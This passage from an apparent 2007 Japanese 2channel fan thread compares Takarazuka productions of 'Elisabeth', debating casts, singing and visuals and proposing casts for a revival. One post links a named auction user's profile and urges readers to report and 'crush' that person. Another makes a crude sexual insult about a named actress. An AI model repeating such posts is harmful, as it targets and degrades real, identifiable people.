水トート、歌はダメなのはわかってた。それだけにビジュアルに期待した。長年トートやってる水見たいって思ってたのに・・・
おまいそんな細かい所にこだわってる暇があったら、歌と嫁何とかしろと言ってやりたかったorz

693 ：名無しさん＠花束いっぱい。：2007/11/19(月) 11:21:46 ID:h610rqq3

新雪のは
メロディーアのハマコ＆美穂さんのを聞きながら
音声切って「私が踊るとき」を見て楽しんでいる

「私が踊るとき」しか使えないのが残念だｗ

694 ：名無しさん＠花束いっぱい。：2007/11/19(月) 12:01:33 ID:4GOuZUFN

再演雪エリザは本当に何だったの？って感じだよ。あれDVDの価格6300円まで下げて売れよ。

695 ：名無しさん＠花束いっぱい。：2007/11/20(火) 01:03:54 ID:Qf2BJBvO

麻子シシィ結構好き。最初はゴツッおもたけど見てるうちにこんなシシィもありかなと納得してしまった。だから月は結構好き。それよりとなみシシィが嫌。受けつけないんだよね。なんか(｀o'ヾ

696 ：名無しさん＠花束いっぱい。：2007/11/20(火) 11:00:37 ID:K6EMqjhx

となみのあれはシシィじゃない。ニセモノ。
あさこのは見た目と反して繊細で硝子細工みたいなシシィだったね。

697 ：名無しさん＠花束いっぱい。：2007/11/20(火) 14:45:38 ID:XI4WFnaD

何故か花がいちばん受け付けない。
単体ではわりと好きな人いるのに。

698 ：名無しさん＠花束いっぱい。：2007/11/20(火) 14:47:15 ID:Qf2BJBvO

となみシシィ＝キッチュ

699 ：名無しさん＠花束いっぱい。：2007/11/20(火) 21:27:40 ID:/fzE5mVC

>>697
花組のこと花ちゃんのこと？

700 ：名無しさん＠花束いっぱい。：2007/11/20(火) 21:30:19 ID:QY1NuIPT

よかったっていう人もちゃんといるから
遠慮なく言わせてもらうと
あさこエリザって、ありえない～って感じでうけつけられなかった。
なので月エリザが一番ダメだな

701 ：名無しさん＠花束いっぱい。：2007/11/20(火) 21:44:39 ID:/fzE5mVC

>>700
有り得ないよくわかる。

別に私は大好きだなんだが、ふとみるとでか過ぎるしごつすぎるし
やっぱ男役だなぁって思わざる得ないもん。
その辺りきになったらきと駄目だろうね。

702 ：名無しさん＠花束いっぱい。：2007/11/20(火) 21:49:18 ID:Qf2BJBvO

あさこシシィはだめかぁm(_ _)mはっちゾフィはどうなんだい？

703 ：名無しさん＠花束いっぱい。：2007/11/20(火) 21:51:52 ID:+NUaxeTq

http://openuser.auctions.yahoo.co.jp/jp/user/tetsuayaka

皆さん、この馬鹿を通報して潰しましょう。

704 ：名無しさん＠花束いっぱい。：2007/11/20(火) 22:34:56 ID:WZzB311P

再演雪は全体としてはイマイチでも凄く好きな場面もある。
出演者も良いと思える人と受けいれ難い人との差があって戸惑う。

705 ：名無しさん＠花束いっぱい。：2007/11/20(火) 23:15:49 ID:6CGuOpCr

エリザは基本どの組のも好きだが、今回の再演雪だけは好きになれんかった・・・
あんなのエリザじゃないとまで思ってしまった私は変？

706 ：名無しさん＠花束いっぱい。：2007/11/20(火) 23:22:44 ID:E0bd9pfl

>>702
自分はアサコシシィすごい好きだった。
アサコシシィの難点はガッチリしてるとこだけでしょ？
それだけでとなみのシシィよりもダメって評価をすることはできないな、自分は。
歌も演技もダンスもまったくハラハラするところがなかったし。
正直自分のシシィのイメージに合ってたからかもしれないけど。実際の肖像画のシシィもガッチリしてるしｗ

ハッチさんのゾフィはちょっと弱かったね････
歌える男役さんだと思ってただけに高音がつらそうなのが残念だった。
やっぱり男役の歌える役ではないな････と思ってただけにハマコが衝撃的だったけどｗ
芝居的にもおとなしすぎて全然意地悪な雰囲気が出てなかったし、むしろシシィより常識的で優しい人っていう感じさえあった。

707 ：名無しさん＠花束いっぱい。：2007/11/20(火) 23:30:28 ID:xcCE+D1v

再演雪組はとても気に入ったよ。
知ってる人やあちこちのブログでも評価してる人いっぱいいた。
もちろん評価してない人もいるけどね。
このスレは評価が悪いほうに偏りすぎていて現実とかけはなれてるようだね。

708 ：名無しさん＠花束いっぱい。：2007/11/20(火) 23:31:10 ID:LCjlF6uG

再演雪。正直、水には期待してなかったんだけど、独特の存在感があって良かった。歌も検討してたと思う。
ハマコゾフィーは素晴らしかった。（某所で見た新公でも、研２ではありえない程うまかった）
ゆみこフランツは優しい歌声に落ち着いた演技で癒された。
ただ、シシィが…期待してただけに残念。あくまで個人的にはだけど。

709 ：名無しさん＠花束いっぱい。：2007/11/20(火) 23:34:00 ID:Qf2BJBvO

はっちゾフィーＬｏｖｅューなのです。ゆばーばそっくり(・ω・)ノ

710 ：名無しさん＠花束いっぱい。：2007/11/20(火) 23:46:30 ID:q/iqp3TI

愛と死の輪舞をみせてくれたのが水ﾄｰﾄだったよ。
空気が動くのが肌でわかる・・そんなﾄｰﾄだった。

711 ：名無しさん＠花束いっぱい。：2007/11/20(火) 23:48:48 ID:bfbub8UO

再演雪は、シシィの周りの人たちそれぞれの立場による苦悩が良く出ていただけに、
この芝居の中で成立するシシィを表現できていれば、さぞ素晴らしいエリザベートが
出来上がっていただろうと思う。
意地悪なゾフィとマザコンフランツってのは、お話的にはわかりやすいんだろうけどね。

712 ：名無しさん＠花束いっぱい。：2007/11/21(水) 00:01:38 ID:3YNAgpX+

えー偏りすぎてないと思う。
初演雪、宙、花がよくて後はイマイチってのが一般的な評価じゃない？
やっぱりエリザベートはトートの歌がよくないとつまらないと思う。
あとエリザベートのイメージがあってるか
星でやったほうがよかったんじゃないかな

713 ：名無しさん＠花束いっぱい。：2007/11/21(水) 00:02:50 ID:rbJhH9Ih

宙よかったの？
なんか映像の出来の悪さ以外になかなか話題にのぼらないんだけど

714 ：名無しさん＠花束いっぱい。：2007/11/21(水) 00:07:24 ID:X18qOP8c

宙は良かったと思うよ。
トートは歌うまかったし、ビジュアルもよかった

715 ：名無しさん＠花束いっぱい。：2007/11/21(水) 01:02:06 ID:GgZINGHK

>>713
そうだよな。ズンコトートや女帝は評価されてるが、作品としては宙はそこまで良作認定されてない希ｶﾞｽ
初演雪と花と違って主要キャストに歌ｱﾁｬさんがいるからな…

716 ：名無しさん＠花束いっぱい。：2007/11/21(水) 01:26:57 ID:2MGS5PTM

その歌アチャさんは誰ですか？

717 ：名無しさん＠花束いっぱい。：2007/11/21(水) 01:50:03 ID:rbJhH9Ih

>716
ルキーニのわたるだろう

718 ：名無しさん＠花束いっぱい。：2007/11/21(水) 07:40:59 ID:SDkDoA6j

ほんとに話題ループだけど
エリザは歌ありきの作品だと思うんで
演者が歌でひっぱれないときつい…
何しろ脚本が紙芝居

シシィの役作りはアサコが良かった。
絶賛おハナのシシィは可憐で美しかったけど、
現実のシシィはもっと野太い感じだからイメージがちょっと違う。
外の舞台で男優と演じたら、一番はまるのはアサコシシィだと思うんだわ。

719 ：名無しさん＠花束いっぱい。：2007/11/21(水) 08:20:15 ID:jtudyuns

私はあさこシシィはあんまり(-_-メ
パパみたいになりたい♪ではいいって思ったけど後は飽きた
眉間にしわ単調な女役っぷりなんだもん
やっぱりエリザ役は男役じゃなくてちゃんとした娘役さんで見たい

720 ：名無しさん＠花束いっぱい。：2007/11/21(水) 11:05:21 ID:35LOsDR5

あさこシシィの歌はフツーに下手だったよ。
となみは確かにはらはらする下手さで心臓に悪かったorz
あさこのは当り前にヘタって感じで、そこが気にならない人は
あさこシシィの歌を評価するのか？

721 ：名無しさん＠花束いっぱい。：2007/11/21(水) 14:39:53 ID:RUpuliEu

…あさこの役作りを褒める人は良くみかけるけど、
歌を褒める人はあまり見たことないぞ。

エリザは確かに脚本は破綻寸前だよな。歌で持ってる
作品だから、歌えないと見ているのが辛いね。
花組はゾフィがもうちょっと歌えればなぁ。

722 ：名無しさん＠花束いっぱい。：2007/11/21(水) 15:15:48 ID:35LOsDR5

>>721
いや、706が目に入ったので書いたのだが
他にも歌も問題ﾅｼなのも何度か見たので。

723 ：シシイ：2007/11/21(水) 15:33:39 ID:w85k7Jse

やっぱりあさこの女装（？）はビジュアル的にいかんよー。
となみの歌がもうちょっと安定してたらなぁ・・・。

724 ：名無しさん＠花束いっぱい。：2007/11/21(水) 19:16:44 ID:y9Kublvg

となみは声はそこそこ出てたかもしれないけど、なんだか酔いそうになるんだよね。
車酔いしてる感じ。
あと怒りすぎ。

725 ：名無しさん＠花束いっぱい。：2007/11/21(水) 21:03:23 ID:KqjRuyCA

フィナーレの闇が広がる羽山紀代美振付の男役ダンス好きでよく見比べるんだけど
それぞれ一長一短だな。おさのくねくねダンスはいまいちだけど、あさこ・じゅり
ゆみこ・らんとむと４人並んだフロントの花が一番見た目にもバランスがいいと思うな。
気合入れるシーンは星が迫力あるけど。宙と月、コムときりやんの背がないのが
残念だね。ちなみにミズ雪、観る気がないのでわかりまへん。

726 ：名無しさん＠花束いっぱい。：2007/11/21(水) 21:26:39 ID:n1cmkwKL

>725
初演雪…ﾀｰﾀﾝだけやたらダンスが上手い

宙と月、コムときりやんはいいんだ…テクででかくみえるから

727 ：名無しさん＠花束いっぱい。：2007/11/21(水) 21:34:54 ID:37ZUBhcM

花組の4人ﾌﾛﾝﾄは受け付けなかったな。
あれはやっぱり3人ﾌﾛﾝﾄでないと。まぁ好みだけどね。

728 ：名無しさん＠花束いっぱい。：2007/11/21(水) 21:35:56 ID:Wy/SVeru

初心者に見せるなら絶対に初演雪か花だなぁ。
ヅカファンだからこそ見れるのは、星・宙・月。
特に星・月は初心者には絶対見せられん印象なんだが。

729 ：名無しさん＠花束いっぱい。：2007/11/21(水) 21:41:51 ID:vJbjHdWS

宙はわたるが・・・orz
歌より見た目が大失敗なんだよな・・・あんなに髭が似合わないとは思わなかった。というか髭のチョイスが悪いのか。

あと宙のはカメラワークが独特だからね。

730 ：名無しさん＠花束いっぱい。：2007/11/21(水) 21:41:52 ID:WFLv9N7B

初心者に見せるなら、花がベストだな。
雪は、一路の歌が癖が強すぎで、どん引きされたからな。

731 ：名無しさん＠花束いっぱい。：2007/11/21(水) 21:57:39 ID:Wy/SVeru

初心者受けしそうなキャスト
トート→一路さん・オサ（一番癖がないということから）
シシィ→お花・みどり・となみ
フランツ→たかこ・じゅりぴょん・ガイチ
ルキーニ→りじぃ・あさこ・きりやん・キム
ルドルフ→こむ・ウヒ・かなめ
ゾフィー→朱さん・ハッチさん

こんなところか？

732 ：名無しさん＠花束いっぱい。：2007/11/21(水) 22:08:59 ID:tNvkWORm

総合点で、花。

733 ：名無しさん＠花束いっぱい。：2007/11/21(水) 22:10:48 ID:L5t/Two5

個人的には、シシィはやっぱりお花だな。
史実のシシィ生来の野性味は無かったかもしれないけど、
あの美しさは忘れらない。演技も好き。
あれで歌がうまければなー。

734 ：名無しさん＠花束いっぱい。：2007/11/21(水) 22:15:11 ID:n1cmkwKL

芝居・歌：バランスとガッツで初演雪、私が踊る時は花
演出：歌はともかく完成度は高かった星
ﾌｨﾅｰﾚ：ｻｴｺとｱｻｺの銀橋おお辞儀にヤられて月

宙と再演雪の取柄を思いつかん…

735 ：名無しさん＠花束いっぱい。：2007/11/21(水) 22:19:37 ID:wA7zpOY4

>>734
再演雪：ハプスブルク家の人々（ルド以外）

736 ：名無しさん＠花束いっぱい。：2007/11/21(水) 22:26:21 ID:Wy/SVeru

>>734
力あふれる暴力的トート＆かすみ草のようなお花エリザ＞宙
実物的ビジュアル～な＞再演雪
という印象。

737 ：名無しさん＠花束いっぱい。：2007/11/21(水) 22:27:52 ID:2MGS5PTM

ゾフィーははっちさんだね。最強。

738 ：名無しさん＠花束いっぱい。：2007/11/21(水) 22:31:41 ID:iBEp5epG

シシィはあやか・あさこだな。
芝居としては、星・月。
闇広は、星。ダンサーが集まってる時代だと感じる。
雪には何故か惹かれない。たしかにハナは若く美しいが・・
花は歌は安心できるんだけど、何度も見ない。
繰り返し見てしまうのは、月。
宙は、トートがシシィを愛してるとは思えん。

739 ：名無しさん＠花束いっぱい。：2007/11/21(水) 22:35:26 ID:s7nvTSu8

となみのビジュアルは全然よくなかったと思うが＞736
輪郭はごつごつしているし、遠目にみれば顔が丸すぎて鬘がどれもこれも似合っていないし。
法令線か、たるみかわからんけど、横顔の頬のたるみ具合もとなみは激しかったし・・
輪郭ごつごつでもまだ大鳥れいのほうがずっとマシだし
丸顔でも白城のほうがはるかにマシ
水のビジュアルも見る人によれば好きな人もいるかもしれないが
奇をてらいすぎて気色悪いだけのとうな・・・
さらにいえばフランツのゆみこのどこがビジュアルイケているのか・・・

740 ：名無しさん＠花束いっぱい。：2007/11/21(水) 22:44:43 ID:n1cmkwKL

それよりゆみこは花でアルバイトで出てた貴族の男で
埋没するのって路線としてどうよ？と思った

花はね～5組化で人がやや少なめなのとオケが少なくなった後で
その点が惜しいな

741 ：名無しさん＠花束いっぱい。：2007/11/21(水) 23:39:49 ID:2MGS5PTM

あさこルキーニが好きだ。

742 ：名無しさん＠花束いっぱい。：2007/11/22(木) 00:12:53 ID:ZYBdVNnK

再演雪、シシィ以外は良かったと思うな。
トートフランツルキーニゾフィはかなり気に入ってる。
でもシシィがダメでDVDも一応買ったけど１回しか見てない。
男役は再演雪＞＞＞星なのに、繰り返し見るのは星。
やっぱシシィが主役なんだよな～。主役がコケると辛いわ。

743 ：名無しさん＠花束いっぱい。：2007/11/22(木) 00:52:57 ID:Q1WoN/3k

>>734
宙はトートが、暴れるのに所々小刻みに震えてるところが
実は繊細なんだなーっていう感じがして好き。
あとビジュアル的に綺麗な闇広。
再演雪は・・・私もわからないw

744 ：名無しさん＠花束いっぱい。：2007/11/22(木) 01:00:31 ID:zsk6+Jw0

シシィはやっぱりあやかさましかいないと思う
トートはズンコ
ルキーニはリカ
ルドルフはコムでも歌はアチぁーだけど。
水トートは妖艶な不陰気がいい。
フランツはいまいちパットする人物いない。
ゾフィは誰がなんといおうとたきさん。

シシィも少女の役、誰かあればいいのにと思う。

例えば「大人シシィ女帝」「少女時代たっちん」ってゆうふうに。

745 ：名無しさん＠花束いっぱい。：2007/11/22(木) 01:45:07 ID:PztNyF9k

フランツはガイチでしょ。

746 ：名無しさん＠花束いっぱい。：2007/11/22(木) 01:52:34 ID:kRD/o061

歌唱力だけで言えばやっぱ仏さんが一番だったな。音域が合ってたから。
お花様＞＞みどり＞＞あやか＝あさこ＞＞＞＞＞となみ

こんな感じかな～自分は。
技術と芝居心のある歌を歌えるみどりが一番好きだったけど、
シシィに関しては声自体が曲に合ってなくて高音辛そうだったし。
アサコは声が震えたりしなかったから別に聞けた。低音から高音まで安定してた。

演技に関してはみどりしかいないかな・・・・
アサコも悪くはなかったけど宝塚的には・・・他もみんな同じレベルだと思う。

747 ：名無しさん＠花束いっぱい。：2007/11/22(木) 01:54:20 ID:RvrpH+IL

>746
え～～　でもアサコはシシィで震えるとゆーか細かいビブラートを覚えてしまったぞ

748 ：名無しさん＠花束いっぱい。：2007/11/22(木) 02:15:57 ID:QJgu4y08

>>735ルドのダメさ加減を見ると、ああ、あの母にしてこの子ありか、と思ってしまう。

歴代親子みると、月もルドの肩幅は母譲りか、と思うｗ

749 ：名無しさん＠花束いっぱい。：2007/11/22(木) 07:58:47 ID:0yiFlCjH

>733に同意
歌がね
やたら楚々としてて、うっつくしいんだけど
鏡の間で階段降りて来る所は鳥肌たつくらいきれいだった

750 ：yun：2007/11/22(木) 10:14:27 ID:8DrHsuA3

初演の雪が大好き！
ゾフィーもルッキーニもエリザベートも最高だった思う。

ゾフィーの眉毛が笑えた！！

お花様が何故か宙組では下手に思える...不思議だわ。
涙をボロボロ流しながらでも歌声に響かないのも不思議ですねぇ。

751 ：名無しさん＠花束いっぱい。：2007/11/22(木) 10:30:13 ID:X51q1bBP

ﾌﾗﾝﾂも良かったぞ＞初演雪
ﾌﾗﾝﾂはみんなそれぞれ良い感じだよね。自分はﾕｷさんが大好きだが。

となみのシシィは論外だから省くとして、
他のシシィの中でみどりのは個人的にダメだった～～
ただ猛々しいだけで、品とか気高さとかがまるでなく。肩幅が極狭でドレスも似合ってなかった。
歌はうまかったけど。

見た目:お花、次点あやか
演技:あさこ、次点お花
歌:あやか、次点みどり

って感じかな。

752 ：名無しさん＠花束いっぱい。：2007/11/22(木) 10:32:16 ID:Ds2CwGi1

ここでは少数派みたいだけど星が好き。
脇役者が揃っているし、フィナーレはピカイチ。
歌はアチャーな麻里子トートもあのオドロオドロしい音程と雰囲気がやみつきになるんだなw

753 ：名無しさん＠花束いっぱい。：2007/11/22(木) 10:40:39 ID:XgAltiXA

オドロオドロしい音程ww
今までマリコトートに感じていた不思議な力が解明された気がしますよ。

754 ：名無しさん＠花束いっぱい。：2007/11/22(木) 10:46:59 ID:X51q1bBP

ﾐｭｰｼﾞｶﾙ的にはどうなの？？って思うところはあるけど、
宝塚的には最高の出来だと思うよ＞星エリザ
月エリザはその流れを受け継いだ感じ。

755 ：名無しさん＠花束いっぱい。：2007/11/22(木) 11:09:02 ID:PztNyF9k

匠トート、大鳥シシィなら春野フランツが見れたのに…

とか思ったり

756 ：名無しさん＠花束いっぱい。：2007/11/22(木) 11:17:14 ID:2hmF4mIJ

アサコシシィ、ガタイよすぎ
ウエストのくびれも足りないし、男が女装したみたいだよ
ポスターの頬がこけていてイヤだと思ったけど、舞台ではそれほど感じなかった
自称身長167センチのもっと小柄な男役さんがやればいいのに

757 ：名無しさん＠花束いっぱい。：2007/11/22(木) 11:26:57 ID:f1DT/wEk

>>755
ちょwまりこトート以上の冒険wwwww

758 ：名無しさん＠花束いっぱい。：2007/11/22(木) 11:42:55 ID:wWOhFeQ0

どの組も

トップは最低

歌えろよ

おそまつでした

759 ：名無しさん＠花束いっぱい。：2007/11/22(木) 13:08:05 ID:wH9RW2On

雪トート、宙トート、花トートは歌えるトップだからおｋ

760 ：名無しさん＠花束いっぱい。：2007/11/22(木) 13:13:39 ID:zsk6+Jw0

ズン・オサは歌えるでしょ？

ただオサは例のクネクネダンスは受け付けられないけど、歌は受けつけられる。
さえこトートは全体的に×。

761 ：名無しさん＠花束いっぱい。：2007/11/22(木) 13:20:12 ID:0yiFlCjH

私は星エリザ好きだったな
マリコﾄｰﾄ歌はあちゃーだけど存在感が好きだった
決め決めいつでもポーズ取りますって感じがツボにはまったっけ

762 ：名無しさん＠花束いっぱい。：2007/11/22(木) 14:08:54 ID:txpTAn9A

舞台で生観劇したのは宙組から。
ビデオで初演雪と星をみまくっていたので、
宙トートの芝居にいまいち乗れなかった。

エリザは初演のお花が一番好きかな・・・二部ならあやかでも。

去年のガラコンで初めてまりこトートみたけど（あえて聞いたとは言わない）
マイク持ってるの忘れるくらい
ルドルフとの闇広が良かった～☆
あの、すーっとぶれない歩き方も、凄い。

再演雪は、キライじゃないんだけど・・・こねくりすぎ、かな。

763 ：名無しさん＠花束いっぱい。：2007/11/22(木) 14:41:27 ID:UNvM+NUy

私は東宝エリザから入ったまだ新参の方のヅカファンなんだけど、
再演雪エリザは東宝版演出で見たいシーンが沢山あったエリザだった。
他のエリザはそんなこと思わずに「宝塚版」として見ていたので再演雪の
役作りが宝塚的じゃなくて、そこが演出とちぐはぐだったのかなーと今は思う。

ゾフィーの死はリベルラで良かったと思うし、
フランツ・トートは最終答弁じゃなくて「悪夢」が見たかった。
となみシシィと立さんパパにはコルフ島の歌詞がはまった気がする。
夜のボートも同じく。
ラストも「愛し合って昇天」するシシィとトートがとても違和感あったけど
「それでも私は（お前は）命ゆだねる　私だけに（俺だけに）」で死のキス
→柩に戻るって演出だったら違和感なかった気がする。

新参ファンが長々とすいません。

764 ：名無しさん＠花束いっぱい。：2007/11/22(木) 16:09:49 ID:PztNyF9k

星で再演するならグリュンネ伯爵はソルーナさん。パパはヒロさん。ゾフィーはチャルさんで！

765 ：名無しさん＠花束いっぱい。：2007/11/22(木) 16:42:51 ID:QNgAXt4O

ビジュアルだけなら宙
どんなけエリザがすごいかをみせるなら初演雪

766 ：名無しさん＠花束いっぱい。：2007/11/22(木) 18:39:08 ID:Y4LGF+XL

>>764
ﾏｼﾞﾚｽすると、美穂圭子姐さんが専科に行ったのは、
ゾフィをやらす為じゃなかろうか、と思っている。

767 ：名無しさん＠花束いっぱい。：2007/11/22(木) 22:03:19 ID:xhFelA0F

コルフ島があるとエリザベートという役は深まるし、
リベルラがあればハスプブルク家という存在に立体感が出るんだよね。
でもそうしちゃうとトートが主役でなくなるから宝塚的にはＮＧなんだよ…orz
こればっかりはトップスター制度そのものをやめてほしいと思うよ。
トートが歌えない場合は特に。

768 ：名無しさん＠花束いっぱい。：2007/11/22(木) 22:52:09 ID:dz1e2g2y

東宝版て昇天の歌詞随分違うんだね。初めて知った。

769 ：名無しさん＠花束いっぱい。：2007/11/22(木) 23:01:19 ID:PztNyF9k

花エリザの特典DVDクソだわ。あれが2100円…

770 ：名無しさん＠花束いっぱい。：2007/11/22(木) 23:50:37 ID:yoFgta9m

再演雪エリザのトートとシシィの関係が好き
妖しい誘惑者とその魅力にあがらう美しい女
緊張感に満ちたセクシーさに惹かれる

　　　　

771 ：名無しさん＠花束いっぱい。：2007/11/23(金) 00:16:40 ID:sXLuJ1YT

再演雪エリザ…レベルはともかくとして、自分は結構好き。
ただ、
トートとシシィが歩み寄っていく、っていうのが全然見えない。
ひたすら憎み合っているようにしか見えない。
お前らはハブとマングースかヴォケって言いたくなる。
今までのトートはどれも、少なからず「かっこいい」と思える人達ばかりだった。
でも水トートは歌ダメだし（ちょっとマシになったけど）、唇ナメクジだし、何でシシィがトートを選んだのか分かりかねる。
シシィも…私はとなみ好きだけど、この公演では胸が痛くなった。何やってんのさ。

こんなボロクソ書いてても、一応好きなんだよなぁ…なんでだ？
自分はどっかオカシイのか？

772 ：名無しさん＠花束いっぱい。：2007/11/23(金) 00:23:11 ID:KEu4FHkw

おかしいと思うならｱｹﾞてまで書くな。
再演雪はｼｼｨ役に関しては大失敗だったし、水も特別よかったわけでもない。
トータル的にみて歴代の中でも最低ランクの評価しか与えられないと思う。
再演する価値はなかった。

773 ：名無しさん＠花束いっぱい。：2007/11/23(金) 00:25:05 ID:2FYLeQmI

水のトートは気色悪すぎだし、となみのシシィは幼すぎた
ドクトルの場面なんてまんま変質者と被害者
二人が歩み寄るのは難しいのでは・・・

私も好きだけどね再演雪エリザ

774 ：名無しさん＠花束いっぱい。：2007/11/23(金) 00:30:42 ID:ycfOvcgi

♪二人きりで泳いで渡ろよ　愛という名前の深い湖を

♪沈む世界に終わりを告げようよ終わる時のない永久に旅立とう

どっちも好き
確かに全然違うね

775 ：名無しさん＠花束いっぱい。：2007/11/23(金) 00:52:21 ID:wpjxh59Y

沈む世界に　別れを告げたなら
終わる時のない　永久に旅立とう

じゃなかった？

776 ：名無しさん＠花束いっぱい。：2007/11/23(金) 08:05:56 ID:UmEVknqD

宙エリザのビジュアルどこがいいかわからん。
いいといえるのはルドルフだけ。

777 ：名無しさん＠花束いっぱい。：2007/11/23(金) 08:14:45 ID:aH17YXhu

闇広はとりあえず初演雪の緊張感がたまらん。
あと暴力トートにリアルにガッツンガッツン振り回されてルドが狂っていく宙もエエ。
コムルドは歌はさておき、完全イっちゃってる感の演技が凄くて好きだ。

778 ：名無しさん＠花束いっぱい。：2007/11/23(金) 12:35:02 ID:cWMV8OQ6

久しぶりに、まともに歌えるトートで「エリザベート」が観たいね。
「歌が下手でもどうにかなる」で片付けるにはもったいない演目。

779 ：名無しさん＠花束いっぱい。：2007/11/23(金) 13:37:49 ID:crFt411b

これからのスター候補で歌ｳﾏｰでトートの似合いそうな子って？
みちこ…？いや、違う。歌はｳﾏｰだけどなんか違う…。
雰囲気ならまっつが似合いそうだけど、いかんせん小粒杉だし…。

780 ：名無しさん＠花束いっぱい。：2007/11/23(金) 14:06:59 ID:LeZwrRQy

劇場で出口調査をしてみるとか。
「誰のトート（エリザベート）が観たいですか？」って。
で、1位になった人にやってもらう。

781 ：名無しさん＠花束いっぱい。：2007/11/23(金) 14:10:17 ID:zv5Muqhc

みっちゃんは一路トートに似そうだが、いかんせんあのみっちゃんにトート系メイクをさせることが不安ｗ

まっつはトートより寧ろフランツの方が合うんじゃ。みわっちの方がトート向きのふいんき(ry が。

あとは歌手じゃないが無難に歌える人なら七帆がいけそう。

しかしぱっと思い付く路線候補で歌ウマって少なくなったなぁ・・・
無難に歌える子はいるけれども。
まぁ先は長いから、磨きかかって上手くなってくれるのに期待。

782 ：名無しさん＠花束いっぱい。：2007/11/23(金) 14:25:10 ID:D7gGqNu0

ともちん巨人トート。

783 ：名無しさん＠花束いっぱい。：2007/11/23(金) 16:07:35 ID:bp0xCY2Q

ﾄｰﾄはわからんが、ﾙｷｰﾆはぜひﾏｷﾞｰで。
それも、ｳｨｰﾝ版みたいな悪態つく感じのｷｯﾁｭ希望！

784 ：名無しさん＠花束いっぱい。：2007/11/23(金) 22:33:34 ID:2bRPHgjU

七帆のトートは観たいかも…。
ルキーニはこの際理事特出で。

785 ：名無しさん＠花束いっぱい。：2007/11/24(土) 00:24:53 ID:ge1zklPI

ふと、恐いもの見たさで理事トートを見てみたいと思ってしまったｗ
髪はストレートは絶対×で。
とりあえず歳関係ないしｗ帝王のオーラはあるｗ
相手選ぶけど・・・
私が踊る時とかも難しいだろうな。

786 ：エーアン：2007/11/24(土) 21:07:47 ID:6r777EXP

再来年に星エリザでとうあす同時退団。最強トート＆シシィ。ただし大問題はフランツとルキーニ。

787 ：名無しさん＠花束いっぱい。：2007/11/24(土) 21:43:09 ID:qXPGMYZJ

番手を無視していいのなら、フランツはしいちゃんで。歌はともかく、キャラは合うのでは。
ルキーニはレオン。でも踊るシーンが無いからちょっと勿体ないかな。

788 ：名無しさん＠花束いっぱい。：2007/11/25(日) 04:32:08 ID:Y0xhhU20

宝塚でエリザはもうやらないほうがいい。エリザが安っぽくなる。
OGでやってほしいなー
理事は、ルキーニ固定で。

789 ：再演星エリザ主要キャスト：2007/11/25(日) 10:42:55 ID:Cs68u4iv

トート→安蘭けい
シシィ→遠野あすか
フランツ→柚希礼音
ルキーニ→立樹遥
ルドルフ→涼紫央
エリマー→和涼華
ゾフィ→美穂圭子

本当にこうなるかはわからない。やる時には組変えとかあってメンバーが変わってるかもしれないし…あとエリザはベルばらみたいに特出可にしないでその組が自力で頑張るようにしてほしいな。やっぱ。

790 ：名無しさん＠花束いっぱい。：2007/11/25(日) 11:00:17 ID:OSxMoJVp

そういえばトート一人が歌ウマで他全滅っていうパターンはなかったなあ。
逆は3パターンほどあったけど。
つまりトートの歌がダメでも他がよければ何とかなるという考えが
あるんだろうな。少なくとも製作側にとっては。

791 ：名無しさん＠花束いっぱい。：2007/11/25(日) 11:55:47 ID:Cs68u4iv

その３パターンとは麻路、彩輝、水ですな。たしかに他はまあそこそこ？でした。

792 ：名無しさん＠花束いっぱい。：2007/11/25(日) 12:42:41 ID:PU4l0hMa

>789
ｴﾘﾏｰって…なんかｽｺﾞｸ弱っちぃ感じが…

793 ：名無しさん＠花束いっぱい。：2007/11/25(日) 12:46:10 ID:0JPU8xVD

>789
一応ﾙｷｰﾆは路線がやってるんだが
今んとこ高確率でﾄｯﾌﾟになってる
ｴﾘﾏｰww

794 ：名無しさん＠花束いっぱい。：2007/11/25(日) 13:20:27 ID:L+bLG6ij

ルドルフは、和くんで観たい

795 ：名無しさん＠花束いっぱい。：2007/11/25(日) 13:31:30 ID:Cs68u4iv

じゃあ
エルマーは涼紫央
ルドルフは和涼華で。

796 ：名無しさん＠花束いっぱい。：2007/11/25(日) 13:36:47 ID:L+bLG6ij

本当に実現するといいなー。れおんトートとあすかエリザも気になるけれど…。とうこトートとあすかエリザはﾃﾞｨﾅｰｼｮｰ系で歌を再現してほしいかも。

797 ：名無しさん＠花束いっぱい。：2007/11/25(日) 15:35:11 ID:mWUB+syE

>785
理事はトート１にして、歌はトート２にやってもらうのはどうだ？
理事の帝王姿は似合いそうだと私も思う。いかにも闇のボスって感じ

あと前にどなたか書いてたけどワークショップ形式で
若手総動員で場面ごとの役代わりエリザ…
私だけには日替わりでシシィ役全員に歌わせる。
意外と掘り出し物があるかもしれん。
とりあえず和音ゾフィーに花影シシィで寝室の場面見たい。逆もいけるかも。

798 ：名無しさん＠花束いっぱい。：2007/11/25(日) 15:41:32 ID:mWUB+syE

つづき
本公演で４０日間やってほしいほどじゃないけど
エリザはこの役をこの人で見たいってのは結構あるんだよな。
宝塚エリザ祭りみたいなイベントがあれば絶対に通うよ。

799 ：名無しさん＠花束いっぱい。：2007/11/25(日) 18:48:43 ID:Cs68u4iv

理事シシィはどうでしょう？

800 ：名無しさん＠花束いっぱい。：2007/11/25(日) 19:56:47 ID:Cs68u4iv

やっぱり理事ゾフィで！

801 ：このセリフききたい：2007/11/25(日) 21:26:17 ID:8o3Ra2k4

♪なんて寝坊なの♪

802 ：名無しさん＠花束いっぱい。：2007/11/25(日) 22:16:59 ID:DPx32qAT

しみこのルドルフは太腿がきついよ。

803 ：名無しさん＠花束いっぱい。：2007/11/25(日) 22:25:08 ID:Cs68u4iv

ルドルフはとよこ以外認めん。

804 ：名無しさん＠花束いっぱい。：2007/11/26(月) 18:12:12 ID:2Sezm4Oe

歌なしセリフなしのダンスパフォーマンスなエリザならどの組でも出来そうな気がする

805 ：名無しさん＠花束いっぱい。：2007/11/26(月) 19:32:03 ID:w33cT973

安蘭けいのマンコって臭そうだよね

806 ：名無しさん＠花束いっぱい。：2007/11/27(火) 23:55:41 ID:xzKC/mA9

麻路トートと水トートの歌はどっちのがマシ？

807 ：名無しさん＠花束いっぱい。：2007/11/28(水) 00:49:52 ID:woAd/w5m

水＞＞彩輝＞＞マリコ

と、漏れは思っている。
が、漏れはトートに歌唱力を求めていないので、この三人トート大好きだぉ

808 ：名無しさん＠花束いっぱい。：2007/11/28(水) 01:56:04 ID:FT3EP5k0

>>806水のほうがマシ。ただ、再演雪はシシィもまずいからなあ…

809 ：名無しさん＠花束いっぱい。：2007/11/28(水) 02:45:43 ID:fZ2dgugn

>>785
おお、それなら
トート　理事
シシィ　ハナ
フランツ　ズンコ
